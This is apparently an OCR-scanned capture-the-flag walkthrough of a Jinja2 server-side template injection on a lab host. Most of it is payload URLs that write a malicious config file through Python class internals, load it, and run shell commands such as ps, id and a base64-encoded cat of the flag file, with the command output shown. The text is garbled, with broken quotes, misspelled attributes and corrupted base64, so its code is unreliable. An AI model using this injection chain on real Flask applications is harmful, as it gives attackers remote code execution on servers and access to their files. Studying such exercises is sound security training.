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{{ ''._class__._mro__[2].__subclasses__ ()[40]('/tmp/owned.cfg', 'w').write( 'from subprocess import check_o

URL:

eci-2ze8I101z33xpyy7xj4o.cloudecii.ichungiu.com/?name={{ ._Class__. mro__[2].__subclasses__()[40]
(‘tmp/owned.cfg’,'w').write(‘from subprocess import check_output\n\nRUNCMD = check_output\n') }}

Hello None
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{{ config.from_pyfile('/tmp/owned.cfg"') }}

URL:
eci-2ze8I101z33xpyy7xj4o.cloudecii.ichungiu.com

I?name={{ config.from_pyfile('/tmp/owned.cfg’) }}

Hello True
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{{ config['RUNCMD'] ('ps aux',shell=True) }}

URL

http://eci-2ze81101z33xpyy7xj40.cloudecii.ichungiu.com/?name={{ config[RUNCMD' ('ps aux,shell=True) }}
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root 1 0.0 0.1 4448 728 7 Sz 07:25 0:00 /bin/sh -c sh /root/start. sh;sleep 3;/bin/bash /bin/bash
root 3 0.0 2.9 55236 20082 ? 5 07:25  0:00[python /var/wwe/html/x. py |

soat 13 0.0 0.4 18164 3056 7 S+ 07:26 0:00 7Bin/Gash

oot 25 0.0 0.1 4448 6887 § 07:48 0:00 /bin/sh —c ps aux
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http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name=%257B%257B%20config%255B%2527RUNCMD%2527%255D%20%2528%2527/usr/bin/id%2527,shell=True%2529%20%257D%257D

echo ** (FX) ** | base64 -d
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bHMgLWFsTIC92YXIvd3d3LZh@bWwK

{{ config['RUNCMD'] (' echo bHMgLWFsIC92YXIvd3d3L2h@bWwK | base64 -d ',shell=True) }}

URL

http://eci-2ze81101z33xpyy7xj40.cloudecii.ichungiu.con/?name=
{{ config'RUNCMD'] (“echo bHMgLWFsIC92YXlvd3d3L2hObWwK | base64 -d™',shell=True) }}

<hl>Hello total 52

drwxr-xr-x 1 root root 4096 Mar 31 07:26 .
drwxr—xr—x 1 root root 4096 Nov 9 2016 ..
-rw-r——r—— 1 root root 43 Mar 31 07:26 fldg
—rw—r—r— 1 root root 34913 Nov 9 2016 x.py
</h1>
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cat /var/www/html/fl4g

URL:
view-source:http://eci-2ze81101z33xpyy7xj4o.cloudecii.ichungiu.com/?name={{  config'RUNCMD"  ("echo
Y2F0IC92Y Xlvd3d3L2hObWwvZmw0Zwo= | base64 -d',shell=True) }}
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